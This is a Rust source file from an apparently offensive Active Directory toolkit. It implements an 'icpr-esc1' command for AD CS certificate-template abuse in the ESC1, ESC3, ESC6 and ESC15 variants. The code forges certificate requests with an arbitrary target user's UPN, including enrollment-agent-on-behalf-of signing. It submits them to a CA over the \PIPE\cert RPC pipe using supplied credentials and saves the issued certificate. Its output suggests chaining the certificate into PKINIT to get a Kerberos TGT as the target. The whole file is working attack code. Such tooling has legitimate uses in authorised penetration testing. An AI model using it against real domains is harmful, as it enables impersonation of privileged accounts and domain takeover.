use anyhow::{Context, Result};
use clap::Parser;
#[derive(clap::ValueEnum, Clone, Debug, PartialEq, Eq)]
pub(crate) enum EscVariant {
Esc1,
Esc6,
Esc15,
Esc3,
}
#[derive(Parser)]
pub(crate) struct IcprEsc1Args {
#[arg(long)]
pub ca: String,
#[arg(long)]
pub template: String,
#[arg(long = "target-upn")]
pub target_upn: String,
#[arg(long, default_value = "Recon")]
pub subject: String,
#[arg(long)]
pub key: Option<String>,
#[arg(long, default_value = "icpr-esc1.stub")]
pub out: String,
#[arg(long, default_value = "icpr-esc1.csr")]
pub csr_out: String,
#[arg(long)]
pub schema_version: Option<i32>,
#[arg(long)]
pub host: Option<String>,
#[arg(long)]
pub domain: Option<String>,
#[arg(long)]
pub user: Option<String>,
#[arg(long, default_value = "")]
pub password: adhammer_core::SecretString,
#[arg(long, value_enum, default_value = "esc1")]
pub esc: EscVariant,
#[arg(long)]
pub san_upn: Option<String>,
#[arg(long)]
pub agent_cert: Option<String>,
#[arg(long)]
pub agent_key: Option<String>,
#[arg(long, default_value = "1.3.6.1.5.5.7.3.2")]
pub esc15_eku: String,
}
pub(crate) async fn icpr_esc1(a: IcprEsc1Args) -> Result<()> {
let mut checklist = build_checklist(&a.esc, a.host.is_some());
let card = format!("icpr-esc1 stages ({:?})", a.esc);
let card_failed = format!("icpr-esc1 stages ({:?}) (failed)", a.esc);
let result = icpr_esc1_impl(a, &mut checklist).await;
match &result {
Ok(()) => checklist.render(&card),
Err(e) => {
let brief = format!("{e:#}")
.lines()
.next()
.unwrap_or("failed")
.chars()
.take(80)
.collect::<String>();
checklist.mark_current_failed(brief);
checklist.render(&card_failed);
}
}
result
}
fn build_checklist(esc: &EscVariant, live: bool) -> crate::ui::StageChecklist {
let base: &[&str] = match esc {
EscVariant::Esc3 => &[
"resolve / generate RSA key",
"build CSR (target UPN SAN)",
"sign CMS-CMC EOBO with agent cert",
"marshal ICPR stub",
],
_ => &[
"resolve / generate RSA key",
"build CSR (variant-specific)",
"synthesize CertTemplate preflight",
"marshal ICPR stub",
],
};
let live_extra: &[&str] = if live {
&[
"sealed \\PIPE\\cert connect",
"submit CSR to CA",
"parse issued cert",
]
} else {
&[]
};
let all: Vec<&str> = base.iter().chain(live_extra.iter()).copied().collect();
crate::ui::StageChecklist::new(all)
}
async fn icpr_esc1_impl(a: IcprEsc1Args, checklist: &mut crate::ui::StageChecklist) -> Result<()> {
use ms_crtd::flags::{EnrollmentFlag, NameFlag, PrivateKeyFlag};
use ms_crtd::model::CertTemplate;
use ms_crtd::oid::Oid;
let (key_pem, key_source) = if let Some(path) = &a.key {
(
std::fs::read(path).with_context(|| format!("read --key {path}"))?,
format!("read {path}"),
)
} else {
use rsa::pkcs8::EncodePrivateKey;
use rsa::RsaPrivateKey;
let mut rng = rand::thread_rng();
let key = RsaPrivateKey::new(&mut rng, 2048).context("generate RSA-2048 for CSR")?;
let pem = key
.to_pkcs8_pem(rsa::pkcs8::LineEnding::LF)
.context("encode key PKCS#8 PEM")?;
let pem_bytes = pem.as_bytes().to_vec();
let key_path = format!("{}.key.pem", a.csr_out);
std::fs::write(&key_path, &pem_bytes)?;
eprintln!("[+] generated 2048-bit RSA key → {key_path}");
(pem_bytes, format!("generated 2048-bit → {key_path}"))
};
checklist.record_ok("resolve / generate RSA key", key_source);
let csr = match a.esc {
EscVariant::Esc15 => ms_icpr::build_csr_with_upn_san_and_ekus(
&a.subject,
&a.target_upn,
&[a.esc15_eku.as_str()],
&key_pem,
ms_icpr::EkuCarrier::ApplicationPolicies,
)
.context("build_csr_with_upn_san_and_ekus (esc15)")?,
_ => ms_icpr::build_csr_with_upn_san(&a.subject, &a.target_upn, &key_pem)
.context("build_csr_with_upn_san")?,
};
let csr_stage_label = match a.esc {
EscVariant::Esc3 => "build CSR (target UPN SAN)",
_ => "build CSR (variant-specific)",
};
checklist.record_ok(
csr_stage_label,
format!("{} bytes, target UPN={}", csr.len(), a.target_upn),
);
std::fs::write(&a.csr_out, &csr)?;
eprintln!(
"[+] CSR built (variant={:?}, subject CN={}, SAN otherName+UPN={}) → {} ({} bytes)",
a.esc,
a.subject,
a.target_upn,
a.csr_out,
csr.len()
);
let template = CertTemplate {
name: a.template.clone(),
oid: Oid::new("1.3.6.1.4.1.311.21.8.1.42"),
schema_version: a.schema_version.unwrap_or(2),
enrollment_flag: EnrollmentFlag::empty(),
name_flag: NameFlag::ENROLLEE_SUPPLIES_SUBJECT,
private_key_flag: PrivateKeyFlag::empty(),
ekus: vec![Oid::new("1.3.6.1.5.5.7.3.2")],
min_ra_signatures: 0,
raw_security_descriptor: None,
};
if matches!(a.esc, EscVariant::Esc3) {
checklist.record_ok(
"sign CMS-CMC EOBO with agent cert",
"deferred to live-submit branch (needs agent identity)",
);
} else {
checklist.record_ok(
"synthesize CertTemplate preflight",
format!(
"template={}, schema_v={}",
a.template, template.schema_version
),
);
}
let stub_client = ms_icpr::IcprClient::stub(a.ca.clone());
let stub = stub_client
.marshal_call(&template, &csr)
.context("ms_icpr::IcprClient::marshal_call")?;
std::fs::write(&a.out, &stub)?;
checklist.record_ok(
"marshal ICPR stub",
format!(
"{} bytes → {} (opnum {})",
stub.len(),
a.out,
ms_icpr::CERT_SERVER_REQUEST_OPNUM
),
);
eprintln!(
"[+] marshaled CertServerRequest stub → {} ({} bytes, opnum {})",
a.out,
stub.len(),
ms_icpr::CERT_SERVER_REQUEST_OPNUM
);
if let Some(host) = a.host.as_deref() {
let domain = a
.domain
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--domain required when --host is set"))?;
let user = a
.user
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--user required when --host is set"))?;
eprintln!(
"[*] submitting to {} \\\\PIPE\\\\cert (CA={}) as {}\\{}",
host, a.ca, domain, user
);
let mut client =
ms_icpr::IcprClient::connect(host, domain, user, &a.password, a.ca.clone())
.context("ms_icpr::IcprClient::connect (sealed \\PIPE\\cert)")?;
checklist.record_ok(
"sealed \\PIPE\\cert connect",
format!("{host} (CA={}, as {domain}\\{user})", a.ca),
);
let submit_result = match a.esc {
EscVariant::Esc1 | EscVariant::Esc15 => client.submit_request(&template, &csr),
EscVariant::Esc6 => {
let san = a.san_upn.as_deref().unwrap_or(a.target_upn.as_str());
client.submit_request_esc6(&template, &csr, san)
}
EscVariant::Esc3 => {
let agent_cert_path = a
.agent_cert
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--agent-cert required with --esc esc3"))?;
let agent_key_path = a
.agent_key
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--agent-key required with --esc esc3"))?;
let agent_cert = std::fs::read(agent_cert_path)
.with_context(|| format!("read --agent-cert {agent_cert_path}"))?;
let agent_key = std::fs::read(agent_key_path)
.with_context(|| format!("read --agent-key {agent_key_path}"))?;
let signing_time = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_secs() as i64)
.unwrap_or(0);
let cms_blob =
ms_icpr::build_esc3_request(&csr, &agent_cert, &agent_key, signing_time)
.context("ms_icpr::build_esc3_request (CMC EOBO)")?;
eprintln!(
"[+] built CMS-signed CMC blob ({} bytes) — submitting as enrollment-agent-on-behalf-of {}",
cms_blob.len(),
a.target_upn
);
client.submit_request_esc3(&template, &cms_blob)
}
};
checklist.record_ok("submit CSR to CA", format!("variant={:?}", a.esc));
match submit_result {
Ok(issued) => {
let cert_path = format!("{}.issued.pem", a.csr_out);
std::fs::write(&cert_path, &issued.pem)?;
checklist.record_ok(
"parse issued cert",
format!(
"request_id={} → {} ({} bytes)",
issued.request_id,
cert_path,
issued.pem.len()
),
);
eprintln!(
"[+] cert ISSUED (request_id={}) → {} ({} bytes)",
issued.request_id,
cert_path,
issued.pem.len()
);
eprintln!(
"[+] chain into `attack pkinit --cert {} --key {}.key.pem --upn {}` to obtain a TGT",
cert_path, a.csr_out, a.target_upn
);
}
Err(e) => {
eprintln!("[-] live submit failed: {e}");
eprintln!(
"[i] the offline stub is still available at {} for diagnostic / replay",
a.out
);
return Err(e.into());
}
}
} else {
eprintln!(
"[i] offline mode — no --host provided. To submit live, add: \
--host <CA-fqdn> --domain <NETBIOS> --user <user> --password <pw>"
);
}
Ok(())
}